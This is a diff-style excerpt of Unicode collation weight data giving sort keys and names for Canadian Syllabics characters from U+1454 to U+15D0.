+1454  ; [.344C.0020.0002] # CANADIAN SYLLABICS CARRIER DI
+1455  ; [.344D.0020.0002] # CANADIAN SYLLABICS TA
+1456  ; [.344E.0020.0002] # CANADIAN SYLLABICS TAA
+1457  ; [.344F.0020.0002] # CANADIAN SYLLABICS TWE
+1458  ; [.3450.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWE
+1459  ; [.3451.0020.0002] # CANADIAN SYLLABICS TWI
+145A  ; [.3452.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWI
+145B  ; [.3453.0020.0002] # CANADIAN SYLLABICS TWII
+145C  ; [.3454.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWII
+145D  ; [.3455.0020.0002] # CANADIAN SYLLABICS TWO
+145E  ; [.3456.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWO
+145F  ; [.3457.0020.0002] # CANADIAN SYLLABICS TWOO
+1460  ; [.3458.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWOO
+1461  ; [.3459.0020.0002] # CANADIAN SYLLABICS TWA
+1462  ; [.345A.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWA
+1463  ; [.345B.0020.0002] # CANADIAN SYLLABICS TWAA
+1464  ; [.345C.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWAA
+1465  ; [.345D.0020.0002] # CANADIAN SYLLABICS NASKAPI TWAA
+1466  ; [.345E.0020.0002] # CANADIAN SYLLABICS T
+1467  ; [.345F.0020.0002] # CANADIAN SYLLABICS TTE
+1468  ; [.3460.0020.0002] # CANADIAN SYLLABICS TTI
+1469  ; [.3461.0020.0002] # CANADIAN SYLLABICS TTO
+146A  ; [.3462.0020.0002] # CANADIAN SYLLABICS TTA
+146B  ; [.3463.0020.0002] # CANADIAN SYLLABICS KE
+146C  ; [.3464.0020.0002] # CANADIAN SYLLABICS KAAI
+146D  ; [.3465.0020.0002] # CANADIAN SYLLABICS KI
+146E  ; [.3466.0020.0002] # CANADIAN SYLLABICS KII
+146F  ; [.3467.0020.0002] # CANADIAN SYLLABICS KO
+1470  ; [.3468.0020.0002] # CANADIAN SYLLABICS KOO
+1471  ; [.3469.0020.0002] # CANADIAN SYLLABICS Y-CREE KOO
+1472  ; [.346A.0020.0002] # CANADIAN SYLLABICS KA
+1473  ; [.346B.0020.0002] # CANADIAN SYLLABICS KAA
+1474  ; [.346C.0020.0002] # CANADIAN SYLLABICS KWE
+1475  ; [.346D.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWE
+1476  ; [.346E.0020.0002] # CANADIAN SYLLABICS KWI
+1477  ; [.346F.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWI
+1478  ; [.3470.0020.0002] # CANADIAN SYLLABICS KWII
+1479  ; [.3471.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWII
+147A  ; [.3472.0020.0002] # CANADIAN SYLLABICS KWO
+147B  ; [.3473.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWO
+147C  ; [.3474.0020.0002] # CANADIAN SYLLABICS KWOO
+147D  ; [.3475.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWOO
+147E  ; [.3476.0020.0002] # CANADIAN SYLLABICS KWA
+147F  ; [.3477.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWA
+1480  ; [.3478.0020.0002] # CANADIAN SYLLABICS KWAA
+1481  ; [.3479.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWAA
+1482  ; [.347A.0020.0002] # CANADIAN SYLLABICS NASKAPI KWAA
+1483  ; [.347B.0020.0002] # CANADIAN SYLLABICS K
+1484  ; [.347C.0020.0002] # CANADIAN SYLLABICS KW
+1485  ; [.347D.0020.0002] # CANADIAN SYLLABICS SOUTH-SLAVEY KEH
+1486  ; [.347E.0020.0002] # CANADIAN SYLLABICS SOUTH-SLAVEY KIH
+1487  ; [.347F.0020.0002] # CANADIAN SYLLABICS SOUTH-SLAVEY KOH
+1488  ; [.3480.0020.0002] # CANADIAN SYLLABICS SOUTH-SLAVEY KAH
+1489  ; [.3481.0020.0002] # CANADIAN SYLLABICS CE
+148A  ; [.3482.0020.0002] # CANADIAN SYLLABICS CAAI
+148B  ; [.3483.0020.0002] # CANADIAN SYLLABICS CI
+148C  ; [.3484.0020.0002] # CANADIAN SYLLABICS CII
+148D  ; [.3485.0020.0002] # CANADIAN SYLLABICS CO
+148E  ; [.3486.0020.0002] # CANADIAN SYLLABICS COO
+148F  ; [.3487.0020.0002] # CANADIAN SYLLABICS Y-CREE COO
+1490  ; [.3488.0020.0002] # CANADIAN SYLLABICS CA
+1491  ; [.3489.0020.0002] # CANADIAN SYLLABICS CAA
+1492  ; [.348A.0020.0002] # CANADIAN SYLLABICS CWE
+1493  ; [.348B.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWE
+1494  ; [.348C.0020.0002] # CANADIAN SYLLABICS CWI
+1495  ; [.348D.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWI
+1496  ; [.348E.0020.0002] # CANADIAN SYLLABICS CWII
+1497  ; [.348F.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWII
+1498  ; [.3490.0020.0002] # CANADIAN SYLLABICS CWO
+1499  ; [.3491.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWO
+149A  ; [.3492.0020.0002] # CANADIAN SYLLABICS CWOO
+149B  ; [.3493.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWOO
+149C  ; [.3494.0020.0002] # CANADIAN SYLLABICS CWA
+149D  ; [.3495.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWA
+149E  ; [.3496.0020.0002] # CANADIAN SYLLABICS CWAA
+149F  ; [.3497.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWAA
+14A0  ; [.3498.0020.0002] # CANADIAN SYLLABICS NASKAPI CWAA
+14A1  ; [.3499.0020.0002] # CANADIAN SYLLABICS C
+14A2  ; [.349A.0020.0002] # CANADIAN SYLLABICS SAYISI TH
+14A3  ; [.349B.0020.0002] # CANADIAN SYLLABICS ME
+14A4  ; [.349C.0020.0002] # CANADIAN SYLLABICS MAAI
+14A5  ; [.349D.0020.0002] # CANADIAN SYLLABICS MI
+14A6  ; [.349E.0020.0002] # CANADIAN SYLLABICS MII
+14A7  ; [.349F.0020.0002] # CANADIAN SYLLABICS MO
+14A8  ; [.34A0.0020.0002] # CANADIAN SYLLABICS MOO
+14A9  ; [.34A1.0020.0002] # CANADIAN SYLLABICS Y-CREE MOO
+14AA  ; [.34A2.0020.0002] # CANADIAN SYLLABICS MA
+14AB  ; [.34A3.0020.0002] # CANADIAN SYLLABICS MAA
+14AC  ; [.34A4.0020.0002] # CANADIAN SYLLABICS MWE
+14AD  ; [.34A5.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWE
+14AE  ; [.34A6.0020.0002] # CANADIAN SYLLABICS MWI
+14AF  ; [.34A7.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWI
+14B0  ; [.34A8.0020.0002] # CANADIAN SYLLABICS MWII
+14B1  ; [.34A9.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWII
+14B2  ; [.34AA.0020.0002] # CANADIAN SYLLABICS MWO
+14B3  ; [.34AB.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWO
+14B4  ; [.34AC.0020.0002] # CANADIAN SYLLABICS MWOO
+14B5  ; [.34AD.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWOO
+14B6  ; [.34AE.0020.0002] # CANADIAN SYLLABICS MWA
+14B7  ; [.34AF.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWA
+14B8  ; [.34B0.0020.0002] # CANADIAN SYLLABICS MWAA
+14B9  ; [.34B1.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWAA
+14BA  ; [.34B2.0020.0002] # CANADIAN SYLLABICS NASKAPI MWAA
+14BB  ; [.34B3.0020.0002] # CANADIAN SYLLABICS M
+14BC  ; [.34B4.0020.0002] # CANADIAN SYLLABICS WEST-CREE M
+14BD  ; [.34B5.0020.0002] # CANADIAN SYLLABICS MH
+14BE  ; [.34B6.0020.0002] # CANADIAN SYLLABICS ATHAPASCAN M
+14BF  ; [.34B7.0020.0002] # CANADIAN SYLLABICS SAYISI M
+14C0  ; [.34B8.0020.0002] # CANADIAN SYLLABICS NE
+14C1  ; [.34B9.0020.0002] # CANADIAN SYLLABICS NAAI
+14C2  ; [.34BA.0020.0002] # CANADIAN SYLLABICS NI
+14C3  ; [.34BB.0020.0002] # CANADIAN SYLLABICS NII
+14C4  ; [.34BC.0020.0002] # CANADIAN SYLLABICS NO
+14C5  ; [.34BD.0020.0002] # CANADIAN SYLLABICS NOO
+14C6  ; [.34BE.0020.0002] # CANADIAN SYLLABICS Y-CREE NOO
+14C7  ; [.34BF.0020.0002] # CANADIAN SYLLABICS NA
+14C8  ; [.34C0.0020.0002] # CANADIAN SYLLABICS NAA
+14C9  ; [.34C1.0020.0002] # CANADIAN SYLLABICS NWE
+14CA  ; [.34C2.0020.0002] # CANADIAN SYLLABICS WEST-CREE NWE
+14CB  ; [.34C3.0020.0002] # CANADIAN SYLLABICS NWA
+14CC  ; [.34C4.0020.0002] # CANADIAN SYLLABICS WEST-CREE NWA
+14CD  ; [.34C5.0020.0002] # CANADIAN SYLLABICS NWAA
+14CE  ; [.34C6.0020.0002] # CANADIAN SYLLABICS WEST-CREE NWAA
+14CF  ; [.34C7.0020.0002] # CANADIAN SYLLABICS NASKAPI NWAA
+14D0  ; [.34C8.0020.0002] # CANADIAN SYLLABICS N
+14D1  ; [.34C9.0020.0002] # CANADIAN SYLLABICS CARRIER NG
+14D2  ; [.34CA.0020.0002] # CANADIAN SYLLABICS NH
+14D3  ; [.34CB.0020.0002] # CANADIAN SYLLABICS LE
+14D4  ; [.34CC.0020.0002] # CANADIAN SYLLABICS LAAI
+14D5  ; [.34CD.0020.0002] # CANADIAN SYLLABICS LI
+14D6  ; [.34CE.0020.0002] # CANADIAN SYLLABICS LII
+14D7  ; [.34CF.0020.0002] # CANADIAN SYLLABICS LO
+14D8  ; [.34D0.0020.0002] # CANADIAN SYLLABICS LOO
+14D9  ; [.34D1.0020.0002] # CANADIAN SYLLABICS Y-CREE LOO
+14DA  ; [.34D2.0020.0002] # CANADIAN SYLLABICS LA
+14DB  ; [.34D3.0020.0002] # CANADIAN SYLLABICS LAA
+14DC  ; [.34D4.0020.0002] # CANADIAN SYLLABICS LWE
+14DD  ; [.34D5.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWE
+14DE  ; [.34D6.0020.0002] # CANADIAN SYLLABICS LWI
+14DF  ; [.34D7.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWI
+14E0  ; [.34D8.0020.0002] # CANADIAN SYLLABICS LWII
+14E1  ; [.34D9.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWII
+14E2  ; [.34DA.0020.0002] # CANADIAN SYLLABICS LWO
+14E3  ; [.34DB.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWO
+14E4  ; [.34DC.0020.0002] # CANADIAN SYLLABICS LWOO
+14E5  ; [.34DD.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWOO
+14E6  ; [.34DE.0020.0002] # CANADIAN SYLLABICS LWA
+14E7  ; [.34DF.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWA
+14E8  ; [.34E0.0020.0002] # CANADIAN SYLLABICS LWAA
+14E9  ; [.34E1.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWAA
+14EA  ; [.34E2.0020.0002] # CANADIAN SYLLABICS L
+14EB  ; [.34E3.0020.0002] # CANADIAN SYLLABICS WEST-CREE L
+14EC  ; [.34E4.0020.0002] # CANADIAN SYLLABICS MEDIAL L
+14ED  ; [.34E5.0020.0002] # CANADIAN SYLLABICS SE
+14EE  ; [.34E6.0020.0002] # CANADIAN SYLLABICS SAAI
+14EF  ; [.34E7.0020.0002] # CANADIAN SYLLABICS SI
+14F0  ; [.34E8.0020.0002] # CANADIAN SYLLABICS SII
+14F1  ; [.34E9.0020.0002] # CANADIAN SYLLABICS SO
+14F2  ; [.34EA.0020.0002] # CANADIAN SYLLABICS SOO
+14F3  ; [.34EB.0020.0002] # CANADIAN SYLLABICS Y-CREE SOO
+14F4  ; [.34EC.0020.0002] # CANADIAN SYLLABICS SA
+14F5  ; [.34ED.0020.0002] # CANADIAN SYLLABICS SAA
+14F6  ; [.34EE.0020.0002] # CANADIAN SYLLABICS SWE
+14F7  ; [.34EF.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWE
+14F8  ; [.34F0.0020.0002] # CANADIAN SYLLABICS SWI
+14F9  ; [.34F1.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWI
+14FA  ; [.34F2.0020.0002] # CANADIAN SYLLABICS SWII
+14FB  ; [.34F3.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWII
+14FC  ; [.34F4.0020.0002] # CANADIAN SYLLABICS SWO
+14FD  ; [.34F5.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWO
+14FE  ; [.34F6.0020.0002] # CANADIAN SYLLABICS SWOO
+14FF  ; [.34F7.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWOO
+1500  ; [.34F8.0020.0002] # CANADIAN SYLLABICS SWA
+1501  ; [.34F9.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWA
+1502  ; [.34FA.0020.0002] # CANADIAN SYLLABICS SWAA
+1503  ; [.34FB.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWAA
+1504  ; [.34FC.0020.0002] # CANADIAN SYLLABICS NASKAPI SWAA
+1505  ; [.34FD.0020.0002] # CANADIAN SYLLABICS S
+1506  ; [.34FE.0020.0002] # CANADIAN SYLLABICS ATHAPASCAN S
+1507  ; [.34FF.0020.0002] # CANADIAN SYLLABICS SW
+1508  ; [.3500.0020.0002] # CANADIAN SYLLABICS BLACKFOOT S
+1509  ; [.3501.0020.0002] # CANADIAN SYLLABICS MOOSE-CREE SK
+150A  ; [.3502.0020.0002] # CANADIAN SYLLABICS NASKAPI SKW
+150B  ; [.3503.0020.0002] # CANADIAN SYLLABICS NASKAPI S-W
+150C  ; [.3504.0020.0002] # CANADIAN SYLLABICS NASKAPI SPWA
+150D  ; [.3505.0020.0002] # CANADIAN SYLLABICS NASKAPI STWA
+150E  ; [.3506.0020.0002] # CANADIAN SYLLABICS NASKAPI SKWA
+150F  ; [.3507.0020.0002] # CANADIAN SYLLABICS NASKAPI SCWA
+1510  ; [.3508.0020.0002] # CANADIAN SYLLABICS SHE
+1511  ; [.3509.0020.0002] # CANADIAN SYLLABICS SHI
+1512  ; [.350A.0020.0002] # CANADIAN SYLLABICS SHII
+1513  ; [.350B.0020.0002] # CANADIAN SYLLABICS SHO
+1514  ; [.350C.0020.0002] # CANADIAN SYLLABICS SHOO
+1515  ; [.350D.0020.0002] # CANADIAN SYLLABICS SHA
+1516  ; [.350E.0020.0002] # CANADIAN SYLLABICS SHAA
+1517  ; [.350F.0020.0002] # CANADIAN SYLLABICS SHWE
+1518  ; [.3510.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWE
+1519  ; [.3511.0020.0002] # CANADIAN SYLLABICS SHWI
+151A  ; [.3512.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWI
+151B  ; [.3513.0020.0002] # CANADIAN SYLLABICS SHWII
+151C  ; [.3514.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWII
+151D  ; [.3515.0020.0002] # CANADIAN SYLLABICS SHWO
+151E  ; [.3516.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWO
+151F  ; [.3517.0020.0002] # CANADIAN SYLLABICS SHWOO
+1520  ; [.3518.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWOO
+1521  ; [.3519.0020.0002] # CANADIAN SYLLABICS SHWA
+1522  ; [.351A.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWA
+1523  ; [.351B.0020.0002] # CANADIAN SYLLABICS SHWAA
+1524  ; [.351C.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWAA
+1525  ; [.351D.0020.0002] # CANADIAN SYLLABICS SH
+1526  ; [.351E.0020.0002] # CANADIAN SYLLABICS YE
+1527  ; [.351F.0020.0002] # CANADIAN SYLLABICS YAAI
+1528  ; [.3520.0020.0002] # CANADIAN SYLLABICS YI
+1529  ; [.3521.0020.0002] # CANADIAN SYLLABICS YII
+152A  ; [.3522.0020.0002] # CANADIAN SYLLABICS YO
+152B  ; [.3523.0020.0002] # CANADIAN SYLLABICS YOO
+152C  ; [.3524.0020.0002] # CANADIAN SYLLABICS Y-CREE YOO
+152D  ; [.3525.0020.0002] # CANADIAN SYLLABICS YA
+152E  ; [.3526.0020.0002] # CANADIAN SYLLABICS YAA
+152F  ; [.3527.0020.0002] # CANADIAN SYLLABICS YWE
+1530  ; [.3528.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWE
+1531  ; [.3529.0020.0002] # CANADIAN SYLLABICS YWI
+1532  ; [.352A.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWI
+1533  ; [.352B.0020.0002] # CANADIAN SYLLABICS YWII
+1534  ; [.352C.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWII
+1535  ; [.352D.0020.0002] # CANADIAN SYLLABICS YWO
+1536  ; [.352E.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWO
+1537  ; [.352F.0020.0002] # CANADIAN SYLLABICS YWOO
+1538  ; [.3530.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWOO
+1539  ; [.3531.0020.0002] # CANADIAN SYLLABICS YWA
+153A  ; [.3532.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWA
+153B  ; [.3533.0020.0002] # CANADIAN SYLLABICS YWAA
+153C  ; [.3534.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWAA
+153D  ; [.3535.0020.0002] # CANADIAN SYLLABICS NASKAPI YWAA
+153E  ; [.3536.0020.0002] # CANADIAN SYLLABICS Y
+153F  ; [.3537.0020.0002] # CANADIAN SYLLABICS BIBLE-CREE Y
+1540  ; [.3538.0020.0002] # CANADIAN SYLLABICS WEST-CREE Y
+1541  ; [.3539.0020.0002] # CANADIAN SYLLABICS SAYISI YI
+1542  ; [.353A.0020.0002] # CANADIAN SYLLABICS RE
+1543  ; [.353B.0020.0002] # CANADIAN SYLLABICS R-CREE RE
+1544  ; [.353C.0020.0002] # CANADIAN SYLLABICS WEST-CREE LE
+1545  ; [.353D.0020.0002] # CANADIAN SYLLABICS RAAI
+1546  ; [.353E.0020.0002] # CANADIAN SYLLABICS RI
+1547  ; [.353F.0020.0002] # CANADIAN SYLLABICS RII
+1548  ; [.3540.0020.0002] # CANADIAN SYLLABICS RO
+1549  ; [.3541.0020.0002] # CANADIAN SYLLABICS ROO
+154A  ; [.3542.0020.0002] # CANADIAN SYLLABICS WEST-CREE LO
+154B  ; [.3543.0020.0002] # CANADIAN SYLLABICS RA
+154C  ; [.3544.0020.0002] # CANADIAN SYLLABICS RAA
+154D  ; [.3545.0020.0002] # CANADIAN SYLLABICS WEST-CREE LA
+154E  ; [.3546.0020.0002] # CANADIAN SYLLABICS RWAA
+154F  ; [.3547.0020.0002] # CANADIAN SYLLABICS WEST-CREE RWAA
+1550  ; [.3548.0020.0002] # CANADIAN SYLLABICS R
+1551  ; [.3549.0020.0002] # CANADIAN SYLLABICS WEST-CREE R
+1552  ; [.354A.0020.0002] # CANADIAN SYLLABICS MEDIAL R
+1553  ; [.354B.0020.0002] # CANADIAN SYLLABICS FE
+1554  ; [.354C.0020.0002] # CANADIAN SYLLABICS FAAI
+1555  ; [.354D.0020.0002] # CANADIAN SYLLABICS FI
+1556  ; [.354E.0020.0002] # CANADIAN SYLLABICS FII
+1557  ; [.354F.0020.0002] # CANADIAN SYLLABICS FO
+1558  ; [.3550.0020.0002] # CANADIAN SYLLABICS FOO
+1559  ; [.3551.0020.0002] # CANADIAN SYLLABICS FA
+155A  ; [.3552.0020.0002] # CANADIAN SYLLABICS FAA
+155B  ; [.3553.0020.0002] # CANADIAN SYLLABICS FWAA
+155C  ; [.3554.0020.0002] # CANADIAN SYLLABICS WEST-CREE FWAA
+155D  ; [.3555.0020.0002] # CANADIAN SYLLABICS F
+155E  ; [.3556.0020.0002] # CANADIAN SYLLABICS THE
+155F  ; [.3557.0020.0002] # CANADIAN SYLLABICS N-CREE THE
+1560  ; [.3558.0020.0002] # CANADIAN SYLLABICS THI
+1561  ; [.3559.0020.0002] # CANADIAN SYLLABICS N-CREE THI
+1562  ; [.355A.0020.0002] # CANADIAN SYLLABICS THII
+1563  ; [.355B.0020.0002] # CANADIAN SYLLABICS N-CREE THII
+1564  ; [.355C.0020.0002] # CANADIAN SYLLABICS THO
+1565  ; [.355D.0020.0002] # CANADIAN SYLLABICS THOO
+1566  ; [.355E.0020.0002] # CANADIAN SYLLABICS THA
+1567  ; [.355F.0020.0002] # CANADIAN SYLLABICS THAA
+1568  ; [.3560.0020.0002] # CANADIAN SYLLABICS THWAA
+1569  ; [.3561.0020.0002] # CANADIAN SYLLABICS WEST-CREE THWAA
+156A  ; [.3562.0020.0002] # CANADIAN SYLLABICS TH
+156B  ; [.3563.0020.0002] # CANADIAN SYLLABICS TTHE
+156C  ; [.3564.0020.0002] # CANADIAN SYLLABICS TTHI
+156D  ; [.3565.0020.0002] # CANADIAN SYLLABICS TTHO
+156E  ; [.3566.0020.0002] # CANADIAN SYLLABICS TTHA
+156F  ; [.3567.0020.0002] # CANADIAN SYLLABICS TTH
+1570  ; [.3568.0020.0002] # CANADIAN SYLLABICS TYE
+1571  ; [.3569.0020.0002] # CANADIAN SYLLABICS TYI
+1572  ; [.356A.0020.0002] # CANADIAN SYLLABICS TYO
+1573  ; [.356B.0020.0002] # CANADIAN SYLLABICS TYA
+1574  ; [.356C.0020.0002] # CANADIAN SYLLABICS NUNAVIK HE
+1575  ; [.356D.0020.0002] # CANADIAN SYLLABICS NUNAVIK HI
+1576  ; [.356E.0020.0002] # CANADIAN SYLLABICS NUNAVIK HII
+1577  ; [.356F.0020.0002] # CANADIAN SYLLABICS NUNAVIK HO
+1578  ; [.3570.0020.0002] # CANADIAN SYLLABICS NUNAVIK HOO
+1579  ; [.3571.0020.0002] # CANADIAN SYLLABICS NUNAVIK HA
+157A  ; [.3572.0020.0002] # CANADIAN SYLLABICS NUNAVIK HAA
+157B  ; [.3573.0020.0002] # CANADIAN SYLLABICS NUNAVIK H
+157D  ; [.3574.0020.0002] # CANADIAN SYLLABICS HK
+166F  ; [.3575.0020.0002] # CANADIAN SYLLABICS QAI
+157E  ; [.3576.0020.0002] # CANADIAN SYLLABICS QAAI
+157F  ; [.3577.0020.0002] # CANADIAN SYLLABICS QI
+1580  ; [.3578.0020.0002] # CANADIAN SYLLABICS QII
+1581  ; [.3579.0020.0002] # CANADIAN SYLLABICS QO
+1582  ; [.357A.0020.0002] # CANADIAN SYLLABICS QOO
+1583  ; [.357B.0020.0002] # CANADIAN SYLLABICS QA
+1584  ; [.357C.0020.0002] # CANADIAN SYLLABICS QAA
+1585  ; [.357D.0020.0002] # CANADIAN SYLLABICS Q
+1586  ; [.357E.0020.0002] # CANADIAN SYLLABICS TLHE
+1587  ; [.357F.0020.0002] # CANADIAN SYLLABICS TLHI
+1588  ; [.3580.0020.0002] # CANADIAN SYLLABICS TLHO
+1589  ; [.3581.0020.0002] # CANADIAN SYLLABICS TLHA
+158A  ; [.3582.0020.0002] # CANADIAN SYLLABICS WEST-CREE RE
+158B  ; [.3583.0020.0002] # CANADIAN SYLLABICS WEST-CREE RI
+158C  ; [.3584.0020.0002] # CANADIAN SYLLABICS WEST-CREE RO
+158D  ; [.3585.0020.0002] # CANADIAN SYLLABICS WEST-CREE RA
+1670  ; [.3586.0020.0002] # CANADIAN SYLLABICS NGAI
+158E  ; [.3587.0020.0002] # CANADIAN SYLLABICS NGAAI
+158F  ; [.3588.0020.0002] # CANADIAN SYLLABICS NGI
+1590  ; [.3589.0020.0002] # CANADIAN SYLLABICS NGII
+1591  ; [.358A.0020.0002] # CANADIAN SYLLABICS NGO
+1592  ; [.358B.0020.0002] # CANADIAN SYLLABICS NGOO
+1593  ; [.358C.0020.0002] # CANADIAN SYLLABICS NGA
+1594  ; [.358D.0020.0002] # CANADIAN SYLLABICS NGAA
+1595  ; [.358E.0020.0002] # CANADIAN SYLLABICS NG
+1671  ; [.358F.0020.0002] # CANADIAN SYLLABICS NNGI
+1672  ; [.3590.0020.0002] # CANADIAN SYLLABICS NNGII
+1673  ; [.3591.0020.0002] # CANADIAN SYLLABICS NNGO
+1674  ; [.3592.0020.0002] # CANADIAN SYLLABICS NNGOO
+1675  ; [.3593.0020.0002] # CANADIAN SYLLABICS NNGA
+1676  ; [.3594.0020.0002] # CANADIAN SYLLABICS NNGAA
+1596  ; [.3595.0020.0002] # CANADIAN SYLLABICS NNG
+1597  ; [.3596.0020.0002] # CANADIAN SYLLABICS SAYISI SHE
+1598  ; [.3597.0020.0002] # CANADIAN SYLLABICS SAYISI SHI
+1599  ; [.3598.0020.0002] # CANADIAN SYLLABICS SAYISI SHO
+159A  ; [.3599.0020.0002] # CANADIAN SYLLABICS SAYISI SHA
+159B  ; [.359A.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THE
+159C  ; [.359B.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THI
+159D  ; [.359C.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THO
+159E  ; [.359D.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THA
+159F  ; [.359E.0020.0002] # CANADIAN SYLLABICS WOODS-CREE TH
+15A0  ; [.359F.0020.0002] # CANADIAN SYLLABICS LHI
+15A1  ; [.35A0.0020.0002] # CANADIAN SYLLABICS LHII
+15A2  ; [.35A1.0020.0002] # CANADIAN SYLLABICS LHO
+15A3  ; [.35A2.0020.0002] # CANADIAN SYLLABICS LHOO
+15A4  ; [.35A3.0020.0002] # CANADIAN SYLLABICS LHA
+15A5  ; [.35A4.0020.0002] # CANADIAN SYLLABICS LHAA
+15A6  ; [.35A5.0020.0002] # CANADIAN SYLLABICS LH
+157C  ; [.35A6.0020.0002] # CANADIAN SYLLABICS NUNAVUT H
+15A7  ; [.35A7.0020.0002] # CANADIAN SYLLABICS TH-CREE THE
+15A8  ; [.35A8.0020.0002] # CANADIAN SYLLABICS TH-CREE THI
+15A9  ; [.35A9.0020.0002] # CANADIAN SYLLABICS TH-CREE THII
+15AA  ; [.35AA.0020.0002] # CANADIAN SYLLABICS TH-CREE THO
+15AB  ; [.35AB.0020.0002] # CANADIAN SYLLABICS TH-CREE THOO
+15AC  ; [.35AC.0020.0002] # CANADIAN SYLLABICS TH-CREE THA
+15AD  ; [.35AD.0020.0002] # CANADIAN SYLLABICS TH-CREE THAA
+15AE  ; [.35AE.0020.0002] # CANADIAN SYLLABICS TH-CREE TH
+15AF  ; [.35AF.0020.0002] # CANADIAN SYLLABICS AIVILIK B
+15B0  ; [.35B0.0020.0002] # CANADIAN SYLLABICS BLACKFOOT E
+15B1  ; [.35B1.0020.0002] # CANADIAN SYLLABICS BLACKFOOT I
+15B2  ; [.35B2.0020.0002] # CANADIAN SYLLABICS BLACKFOOT O
+15B3  ; [.35B3.0020.0002] # CANADIAN SYLLABICS BLACKFOOT A
+15B4  ; [.35B4.0020.0002] # CANADIAN SYLLABICS BLACKFOOT WE
+15B5  ; [.35B5.0020.0002] # CANADIAN SYLLABICS BLACKFOOT WI
+15B6  ; [.35B6.0020.0002] # CANADIAN SYLLABICS BLACKFOOT WO
+15B7  ; [.35B7.0020.0002] # CANADIAN SYLLABICS BLACKFOOT WA
+15B8  ; [.35B8.0020.0002] # CANADIAN SYLLABICS BLACKFOOT NE
+15B9  ; [.35B9.0020.0002] # CANADIAN SYLLABICS BLACKFOOT NI
+15BA  ; [.35BA.0020.0002] # CANADIAN SYLLABICS BLACKFOOT NO
+15BB  ; [.35BB.0020.0002] # CANADIAN SYLLABICS BLACKFOOT NA
+15BC  ; [.35BC.0020.0002] # CANADIAN SYLLABICS BLACKFOOT KE
+15BD  ; [.35BD.0020.0002] # CANADIAN SYLLABICS BLACKFOOT KI
+15BE  ; [.35BE.0020.0002] # CANADIAN SYLLABICS BLACKFOOT KO
+15BF  ; [.35BF.0020.0002] # CANADIAN SYLLABICS BLACKFOOT KA
+15C0  ; [.35C0.0020.0002] # CANADIAN SYLLABICS SAYISI HE
+15C1  ; [.35C1.0020.0002] # CANADIAN SYLLABICS SAYISI HI
+15C2  ; [.35C2.0020.0002] # CANADIAN SYLLABICS SAYISI HO
+15C3  ; [.35C3.0020.0002] # CANADIAN SYLLABICS SAYISI HA
+15C4  ; [.35C4.0020.0002] # CANADIAN SYLLABICS CARRIER GHU
+15C5  ; [.35C5.0020.0002] # CANADIAN SYLLABICS CARRIER GHO
+15C6  ; [.35C6.0020.0002] # CANADIAN SYLLABICS CARRIER GHE
+15C7  ; [.35C7.0020.0002] # CANADIAN SYLLABICS CARRIER GHEE
+15C8  ; [.35C8.0020.0002] # CANADIAN SYLLABICS CARRIER GHI
+15C9  ; [.35C9.0020.0002] # CANADIAN SYLLABICS CARRIER GHA
+15CA  ; [.35CA.0020.0002] # CANADIAN SYLLABICS CARRIER RU
+15CB  ; [.35CB.0020.0002] # CANADIAN SYLLABICS CARRIER RO
+15CC  ; [.35CC.0020.0002] # CANADIAN SYLLABICS CARRIER RE
+15CD  ; [.35CD.0020.0002] # CANADIAN SYLLABICS CARRIER REE
+15CE  ; [.35CE.0020.0002] # CANADIAN SYLLABICS CARRIER RI
+15CF  ; [.35CF.0020.0002] # CANADIAN SYLLABICS CARRIER RA
+15D0  ; [.35D0.0020.0002] # CANADIAN SYLLABICS CARRIER WU
